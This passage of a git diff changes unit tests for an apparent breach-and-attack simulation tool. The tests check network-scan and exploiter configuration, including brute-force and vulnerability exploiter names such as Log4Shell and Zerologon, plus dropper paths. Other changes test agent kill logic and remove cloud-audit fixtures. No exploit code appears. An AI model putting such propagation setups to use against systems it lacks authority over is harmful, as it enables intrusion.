test_format_config_for_agent__network_scan(flat_monkey_config): + expected_network_scan_config = { + "tcp": { + "timeout_ms": 3000, + "ports": [ + 22, + 80, + 135, + 443, + 445, + 2222, + 3306, + 3389, + 7001, + 8008, + 8080, + 8088, + 9200, + ], + }, + "icmp": { + "timeout_ms": 1000, + }, + "fingerprinters": [ + {"name": "elastic", "options": {}}, + { + "name": "http", + "options": {"http_ports": [80, 443, 7001, 8008, 8080, 9200]}, + }, + {"name": "mssql", "options": {}}, + {"name": "smb", "options": {}}, + {"name": "ssh", "options": {}}, + ], + } + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert "propagation" in flat_monkey_config + assert "network_scan" in flat_monkey_config["propagation"] + assert flat_monkey_config["propagation"]["network_scan"] == expected_network_scan_config + + assert "tcp_scan_timeout" not in flat_monkey_config + assert "tcp_target_ports" not in flat_monkey_config + assert "ping_scan_timeout" not in flat_monkey_config + assert "finger_classes" not in flat_monkey_config + + +def test_format_config_for_agent__exploiters(flat_monkey_config): + expected_exploiters_config = { + "options": { + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe", + "http_ports": [80, 443, 7001, 8008, 8080, 9200], + }, + "brute_force": [ + {"name": "MSSQLExploiter", "supported_os": ["windows"], "options": {}}, + {"name": "PowerShellExploiter", "supported_os": ["windows"], "options": {}}, + {"name": "SSHExploiter", "supported_os": ["linux"], "options": {}}, + { + "name": "SmbExploiter", + "supported_os": ["windows"], + "options": {"smb_download_timeout": 300}, + }, + { + "name": "WmiExploiter", + "supported_os": ["windows"], + "options": {"smb_download_timeout": 300}, + }, + ], + "vulnerability": [ + {"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}}, + {"name": "Log4ShellExploiter", "supported_os": ["linux", "windows"], "options": {}}, + {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}}, + ], + } + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert "propagation" in flat_monkey_config + assert "exploiters" in flat_monkey_config["propagation"] + + assert flat_monkey_config["propagation"]["exploiters"] == expected_exploiters_config + assert "exploiter_classes" not in flat_monkey_config diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py index 1935d6f79..403b5aee3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py @@ -4,6 +4,7 @@ from monkey_island.cc.services.config_manipulator import update_config_on_mode_s from monkey_island.cc.services.mode.mode_enum import IslandModeEnum +@pytest.mark.slow @pytest.mark.usefixtures("uses_encryptor") def test_update_config_on_mode_set_advanced(config, monkeypatch): monkeypatch.setattr("monkey_island.cc.services.config.ConfigService.get_config", lambda: config) @@ -17,6 +18,7 @@ def test_update_config_on_mode_set_advanced(config, monkeypatch): assert manipulated_config == config +@pytest.mark.slow @pytest.mark.usefixtures("uses_encryptor") def test_update_config_on_mode_set_ransomware(config, monkeypatch): monkeypatch.setattr("monkey_island.cc.services.config.ConfigService.get_config", lambda: config) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py new file mode 100644 index 000000000..541124248 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py @@ -0,0 +1,109 @@ +import uuid + +import pytest + +from monkey_island.cc.models import Config, Monkey +from monkey_island.cc.models.agent_controls import AgentControls +from monkey_island.cc.services.infection_lifecycle import should_agent_die + + +@pytest.mark.usefixtures("uses_database") +def test_should_agent_die_by_config(monkeypatch): + monkey = Monkey(guid=str(uuid.uuid4())) + monkey.config = Config(should_stop=True) + monkey.save() + assert should_agent_die(monkey.guid) + + monkeypatch.setattr( + "monkey_island.cc.services.infection_lifecycle._is_monkey_killed_manually", lambda _: False + ) + monkey.config.should_stop = True + monkey.save() + assert not should_agent_die(monkey.guid) + + +def create_monkey(launch_time): + monkey = Monkey(guid=str(uuid.uuid4())) + monkey.config = Config(should_stop=False) + monkey.launch_time = launch_time + monkey.save() + return monkey + + +@pytest.mark.usefixtures("uses_database") +def test_should_agent_die_no_kill_event(): + monkey = create_monkey(launch_time=3) + kill_event = AgentControls() + kill_event.save() + assert not should_agent_die(monkey.guid) + + +def create_kill_event(event_time): + kill_event = AgentControls(last_stop_all=event_time) + kill_event.save() + return kill_event + + +def create_parent(child_monkey, launch_time): + monkey_parent = Monkey(guid=str(uuid.uuid4())) + child_monkey.parent = [[monkey_parent.guid]] + monkey_parent.launch_time = launch_time + monkey_parent.save() + child_monkey.save() + + +@pytest.mark.usefixtures("uses_database") +def test_was_agent_killed_manually(monkeypatch): + monkey = create_monkey(launch_time=2) + + create_kill_event(event_time=3) + + assert should_agent_die(monkey.guid) + + +@pytest.mark.usefixtures("uses_database") +def test_agent_killed_on_wakeup(monkeypatch): + monkey = create_monkey(launch_time=2) + + create_kill_event(event_time=2) + + assert should_agent_die(monkey.guid) + + +@pytest.mark.usefixtures("uses_database") +def test_manual_kill_dont_affect_new_monkeys(monkeypatch): + monkey = create_monkey(launch_time=3) + + create_kill_event(event_time=2) + + assert not should_agent_die(monkey.guid) + + +@pytest.mark.usefixtures("uses_database") +def test_parent_manually_killed(monkeypatch): + monkey = create_monkey(launch_time=3) + create_parent(child_monkey=monkey, launch_time=1) + + create_kill_event(event_time=2) + + assert should_agent_die(monkey.guid) + + +@pytest.mark.usefixtures("uses_database") +def test_parent_manually_killed_on_wakeup(monkeypatch): + monkey = create_monkey(launch_time=3) + create_parent(child_monkey=monkey, launch_time=2) + + create_kill_event(event_time=2) + + assert should_agent_die(monkey.guid) + + +@pytest.mark.usefixtures("uses_database") +def test_manual_kill_dont_affect_new_monkeys_with_parent(monkeypatch): + monkey = create_monkey(launch_time=3) + create_parent(child_monkey=monkey, launch_time=2) + + create_kill_event(event_time=1) + + assert not should_agent_die(monkey.guid) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py deleted file mode 100644 index 9905868af..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py +++ /dev/null @@ -1,169 +0,0 @@ -# This is what our codebase receives after running ScoutSuite module. -# Object '...': {'...': '...'} represents continuation of similar objects as above -RAW_SCOUTSUITE_DATA = { - "sg_map": { - "sg-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, - "sg-abcd": {"region": "ap-northeast-2", "vpc_id": "vpc-abc"}, - "...": {"...": "..."}, - }, - "subnet_map": { - "subnet-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, - "subnet-abcd": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, - "...": {"...": "..."}, - }, - "provider_code": "aws", - "provider_name": "Amazon Web Services", - "environment": None, - "result_format": "json", - "partition": "aws", - "account_id": "125686982355", - "last_run": { - "time": "2021-02-05 16:03:04+0200", - "run_parameters": { - "services": [], - "skipped_services": [], - "regions": [], - "excluded_regions": [], - }, - "version": "5.10.0", - "ruleset_name": "default", - "ruleset_about": "This ruleset", - "summary": { - "ec2": { - "checked_items": 3747, - "flagged_items": 262, - "max_level": "warning", - "rules_count": 28, - "resources_count": 176, - }, - "s3": { - "checked_items": 88, - "flagged_items": 25, - "max_level": "danger", - "rules_count": 18, - "resources_count": 5, - }, - "...": {"...": "..."}, - }, - }, - "metadata": { - "compute": { - "summaries": { - "external attack surface": { - "cols": 1, - "path": "service_groups.compute.summaries.external_attack_surface", - "callbacks": [["merge", {"attribute": "external_attack_surface"}]], - } - }, - "...": {"...": "..."}, - }, - "...": {"...": "..."}, - }, - # This is the important part, which we parse to get resources - "services": { - "ec2": { - "regions": { - "ap-northeast-1": { - "vpcs": { - "vpc-abc": { - "id": "vpc-abc", - "security_groups": { - "sg-abc": { - "name": "default", - "rules": { - "ingress": { - "protocols": { - "ALL": { - "ports": { - "1-65535": { - "cidrs": [{"CIDR": "0.0.0.0/0"}] - } - } - } - }, - "count": 1, - }, - "egress": { - "protocols": { - "ALL": { - "ports": { - "1-65535": { - "cidrs": [{"CIDR": "0.0.0.0/0"}] - } - } - } - }, - "count": 1, - }, - }, - } - }, - } - }, - "...": {"...": "..."}, - } - }, - # Interesting info, maybe could be used somewhere in the report - "external_attack_surface": { - "52.52.52.52": { - "protocols": {"TCP": {"ports": {"22": {"cidrs": [{"CIDR": "0.0.0.0/0"}]}}}}, - "InstanceName": "InstanceName", - "PublicDnsName": "ec2-52-52-52-52.eu-central-1.compute.amazonaws.com", - } - }, - # We parse these into ScoutSuite security rules - "findings": { - "ec2-security-group-opens-all-ports-to-all": { - "description": "Security Group Opens All Ports to All", - "path": "ec2.regions.id.vpcs.id.security_groups" - ".id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", - "level": "danger", - "display_path": "ec2.regions.id.vpcs.id.security_groups.id", - "items": [ - "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups" - ".sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR" - ], - "dashboard_name": "Rules", - "checked_items": 179, - "flagged_items": 2, - "service": "EC2", - "rationale": "It was detected that all ports in the security group are " - "open <...>", - "remediation": None, - "compliance": None, - "references": None, - }, - "...": {"...": "..."}, - }, - }, - "...": {"...": "..."}, - }, - "service_list": [ - "acm", - "awslambda", - "cloudformation", - "cloudtrail", - "cloudwatch", - "config", - "directconnect", - "dynamodb", - "ec2", - "efs", - "elasticache", - "elb", - "elbv2", - "emr", - "iam", - "kms", - "rds", - "redshift", - "route53", - "s3", - "ses", - "sns", - "sqs", - "vpc", - "secretsmanager", - ], - "service_groups": {"...": {"...": "..."}}, -} diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py deleted file mode 100644 index 819d6fe76..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py +++ /dev/null @@ -1,48 +0,0 @@ -from enum import Enum - -import pytest -from tests.unit_tests.monkey_island.cc.services.zero_trust.raw_scoutsute_data import ( - RAW_SCOUTSUITE_DATA, -) - -from common.utils.exceptions import RulePathCreatorNotFound -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser - - -class ExampleRules(Enum): - NON_EXSISTENT_RULE = "bogus_rule" - - -ALL_PORTS_OPEN = EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL - -EXPECTED_RESULT = { - "description": "Security Group Opens All Ports to All", - "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id" - ".cidrs.id.CIDR", - "level": "danger", - "display_path": "ec2.regions.id.vpcs.id.security_groups.id", - "items": [ - "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups." - "sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR" - ], - "dashboard_name": "Rules", - "checked_items": 179, - "flagged_items": 2, - "service": "EC2", - "rationale": "It was detected that all ports in the security group are open <...>", - "remediation": None, - "compliance": None, - "references": None, -} - - -def test_get_rule_data(): - # Test proper parsing of the raw data to rule - results = RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ALL_PORTS_OPEN) - assert results == EXPECTED_RESULT - - with pytest.raises(RulePathCreatorNotFound): - RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ExampleRules.NON_EXSISTENT_RULE) - pass diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py deleted file mode 100644 index 974377915..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ /dev/null @@ -1,37 +0,0 @@ -from unittest.mock import MagicMock - -import dpath.util -import pytest - -from common.config_value_paths import AWS_KEYS_PATH -from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.encryption import get_datastore_encryptor -from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( - is_aws_keys_setup, -) - - -class MockObject: - pass - - -@pytest.mark.usefixtures("uses_database", "uses_encryptor") -def test_is_aws_keys_setup(tmp_path): - # Mock default configuration - ConfigService.init_default_config() - mongo.db = MockObject() - mongo.db.config = MockObject() - ConfigService.encrypt_config(ConfigService.default_config) - mongo.db.config.find_one = MagicMock(return_value=ConfigService.default_config) - assert not is_aws_keys_setup() - - bogus_key_value = get_datastore_encryptor().encrypt("bogus_aws_key") - dpath.util.set( - ConfigService.default_config, AWS_KEYS_PATH + ["aws_secret_access_key"], bogus_key_value - ) - dpath.util.set( - ConfigService.default_config, AWS_KEYS_PATH + ["aws_access_key_id"], bogus_key_value - ) - - assert is_aws_keys_setup() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py deleted file mode 100644 index d389ce904..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py +++ /dev/null @@ -1,66 +0,0 @@ -from copy import deepcopy - -from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 - RULES, -) - -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_consts import ( - RULE_LEVEL_DANGER, - RULE_LEVEL_WARNING, -) -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( - ScoutSuiteRuleService, -) - -example_scoutsuite_data = { - "checked_items": 179, - "compliance": None, - "dashboard_name": "Rules", - "description": "Security Group Opens All Ports to All", - "flagged_items": 2, - "items": [ - "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72" - ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65" - ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", - ], - "level": "danger", - "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id" - ".cidrs.id.CIDR", - "rationale": "It was detected that all ports in the security group are open, " - "and any source IP address" - " could send traffic to these ports, which creates a wider attack surface " - "for resources " - "assigned to it. Open ports should be reduced to the minimum needed to " - "correctly", - "references": [], - "remediation": None, - "service": "EC2", -} - - -def test_get_rule_from_rule_data(): - assert ScoutSuiteRuleService.get_rule_from_rule_data(example_scoutsuite_data) == RULES[0] - - -def test_is_rule_dangerous(): - test_rule = deepcopy(RULES[0]) - assert ScoutSuiteRuleService.is_rule_dangerous(test_rule) - - test_rule.level = RULE_LEVEL_WARNING - assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule) - - test_rule.level = RULE_LEVEL_DANGER - test_rule.items = [] - assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule) - - -def test_is_rule_warning(): - test_rule = deepcopy(RULES[0]) - assert not ScoutSuiteRuleService.is_rule_warning(test_rule) - - test_rule.level = RULE_LEVEL_WARNING - assert ScoutSuiteRuleService.is_rule_warning(test_rule) - - test_rule.items = [] - assert not ScoutSuiteRuleService.is_rule_warning(test_rule) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py deleted file mode 100644 index 33e9fd34b..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py +++ /dev/null @@ -1,45 +0,0 @@ -import pytest -from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 - RULES, - SCOUTSUITE_FINDINGS, -) - -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ( - ScoutSuiteZTFindingService, -) - - -class TestScoutSuiteZTFindingService: - @pytest.mark.usefixtures("uses_database") - def test_process_rule(self): - # Creates new PermissiveFirewallRules finding with a rule - ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[0], RULES[0]) - findings = list(Finding.objects()) - assert len(findings) == 1 - assert type(findings[0]) == ScoutSuiteFinding - # Assert that details were created properly - details = findings[0].details.fetch() - assert len(details.scoutsuite_rules) == 1 - assert details.scoutsuite_rules[0] == RULES[0] - - # Rule processing should add rule to an already existing finding - ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[0], RULES[1]) - findings = list(ScoutSuiteFinding.objects()) - assert len(findings) == 1 - assert type(findings[0]) == ScoutSuiteFinding - # Assert that details were created properly - details = findings[0].details.fetch() - assert len(details.scoutsuite_rules) == 2 - assert details.scoutsuite_rules[1] == RULES[1] - - # New finding created - ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[1], RULES[1]) - findings = list(Finding.objects()) - assert len(findings) == 2 - assert type(findings[0]) == ScoutSuiteFinding - # Assert that details were created properly - details = findings[1].details.fetch() - assert len(details.scoutsuite_rules) == 1 - assert details.scoutsuite_rules[0] == RULES[1] diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py index 31cd709b9..5f40f9a42 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py @@ -1,35 +1,17 @@ from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import ( get_monkey_finding_dto, - get_scoutsuite_finding_dto, ) from common.common_consts import zero_trust_consts def save_example_findings(): - # devices passed = 1 - _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_PASSED, - ) - # devices passed = 2 - _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_PASSED, - ) # devices failed = 1 _save_finding_with_status( "monkey", zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_FAILED ) # people verify = 1 # networks verify = 1 - _save_finding_with_status( - "scoutsuite", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY - ) - # people verify = 2 - # networks verify = 2 _save_finding_with_status( "monkey", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY ) @@ -39,24 +21,12 @@ def save_example_findings(): ) # data failed 2 _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_FAILED, + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED ) # data failed 3 _save_finding_with_status( "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED ) - # data failed 4 - _save_finding_with_status( - "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED - ) - # data failed 5 - _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_FAILED, - ) # data verify 1 _save_finding_with_status( "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY @@ -65,19 +35,10 @@ def save_example_findings(): _save_finding_with_status( "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY ) - # data passed 1 - _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_PASSED, - ) def _save_finding_with_status(finding_type: str, test: str, status: str): - if finding_type == "scoutsuite": - finding = get_scoutsuite_finding_dto() - else: - finding = get_monkey_finding_dto() + finding = get_monkey_finding_dto() finding.test = test finding.status = status finding.save() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py index 838035cbf..fd085d6c8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py @@ -1,27 +1,10 @@ from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.monkey_finding_data import ( get_monkey_details_dto, ) -from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 - get_scoutsuite_details_dto, -) -from common.common_consts.zero_trust_consts import ( - STATUS_FAILED, - STATUS_PASSED, - TEST_ENDPOINT_SECURITY_EXISTS, - TEST_SCOUTSUITE_SERVICE_SECURITY, -) +from common.common_consts.zero_trust_consts import STATUS_PASSED, TEST_ENDPOINT_SECURITY_EXISTS from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding -from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding - - -def get_scoutsuite_finding_dto() -> Finding: - scoutsuite_details = get_scoutsuite_details_dto() - scoutsuite_details.save() - return ScoutSuiteFinding( - test=TEST_SCOUTSUITE_SERVICE_SECURITY, status=STATUS_FAILED, details=scoutsuite_details - ) def get_monkey_finding_dto() -> Finding: diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py deleted file mode 100644 index 2302b68e9..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py +++ /dev/null @@ -1,89 +0,0 @@ -from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails -from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ( - PermissiveFirewallRules, - UnencryptedData, -) - -SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData] - -RULES = [ - ScoutSuiteRule( - checked_items=179, - compliance=None, - dashboard_name="Rules", - description="Security Group Opens All Ports to All", - flagged_items=2, - items=[ - "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg" - "-035779fe5c293fc72" - ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg" - "-019eb67135ec81e65" - ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", - ], - level="danger", - path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs" - ".id.CIDR", - rationale="It was detected that all ports in the security group are open, " - "and any source IP address" - " could send traffic to these ports, which creates a wider attack surface " - "for resources " - "assigned to it. Open ports should be reduced to the minimum needed to " - "correctly", - references=[], - remediation=None, - service="EC2", - ), - ScoutSuiteRule( - checked_items=179, - compliance=[ - {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.1"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.2"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.1"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.2"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.1"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.2"}, - ], - dashboard_name="Rules", - description="Security Group Opens RDP Port to All", - flagged_items=7, - items=[ - "ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg" - "-00bdef5951797199c" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg" - "-01902f153d4f938da" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - ], - level="danger", - path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs" - ".id.CIDR", - rationale="The security group was found to be exposing a well-known port to all " - "source addresses." - " Well-known ports are commonly probed by automated scanning tools, " - "and could be an indicator " - "of sensitive services exposed to Internet. If such services need to be " - "expos", - references=[], - remediation="Remove the inbound rules that expose open ports", - service="EC2", - ), -] - - -def get_scoutsuite_details_dto() -> ScoutSuiteFindingDetails: - scoutsuite_details = ScoutSuiteFindingDetails() - scoutsuite_details.scoutsuite_rules.append(RULES[0]) - scoutsuite_details.scoutsuite_rules.append(RULES[1]) - return scoutsuite_details diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py deleted file mode 100644 index 4c2c1527f..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py +++ /dev/null @@ -1,64 +0,0 @@ -from unittest.mock import MagicMock - -import pytest -from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import ( - get_monkey_finding_dto, - get_scoutsuite_finding_dto, -) - -from common.common_consts.zero_trust_consts import ( - DEVICES, - NETWORKS, - STATUS_FAILED, - STATUS_PASSED, - TEST_ENDPOINT_SECURITY_EXISTS, - TEST_SCOUTSUITE_SERVICE_SECURITY, - TESTS_MAP, -) -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import ( - MonkeyZTDetailsService, -) -from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import ( - EnrichedFinding, - FindingService, -) - - -@pytest.mark.usefixtures("uses_database") -def test_get_all_findings(): - get_scoutsuite_finding_dto().save() - get_monkey_finding_dto().save() - - # This method fails due to mongomock not being able to simulate $unset, so don't test details - MonkeyZTDetailsService.fetch_details_for_display = MagicMock(return_value=None) - - findings = FindingService.get_all_findings_for_ui() - - description = TESTS_MAP[TEST_SCOUTSUITE_SERVICE_SECURITY]["finding_explanation"][STATUS_FAILED] - expected_finding0 = EnrichedFinding( - finding_id=findings[0].finding_id, - pillars=[DEVICES, NETWORKS], - status=STATUS_FAILED, - test=description, - test_key=TEST_SCOUTSUITE_SERVICE_SECURITY, - details=None, - ) - - description = TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS]["finding_explanation"][STATUS_PASSED] - expected_finding1 = EnrichedFinding( - finding_id=findings[1].finding_id, - pillars=[DEVICES], - status=STATUS_PASSED, - test=description, - test_key=TEST_ENDPOINT_SECURITY_EXISTS, - details=None, - ) - - # Don't test details - details = [] - for finding in findings: - details.append(finding.details) - finding.details = None - - assert findings[0] == expected_finding0 - assert findings[1] == expected_finding1 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index 1be9f2fcb..39913a17c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -29,34 +29,34 @@ def test_get_pillars_grades(): def _get_expected_pillar_grades() -> List[dict]: return [ { - zero_trust_consts.STATUS_FAILED: 5, + zero_trust_consts.STATUS_FAILED: 3, zero_trust_consts.STATUS_VERIFY: 2, - zero_trust_consts.STATUS_PASSED: 1, - # 2 different tests of DATA pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DATA) - 2, + zero_trust_consts.STATUS_PASSED: 0, + # 1 test of DATA pillar was executed in save_example_findings() + zero_trust_consts.STATUS_UNEXECUTED: 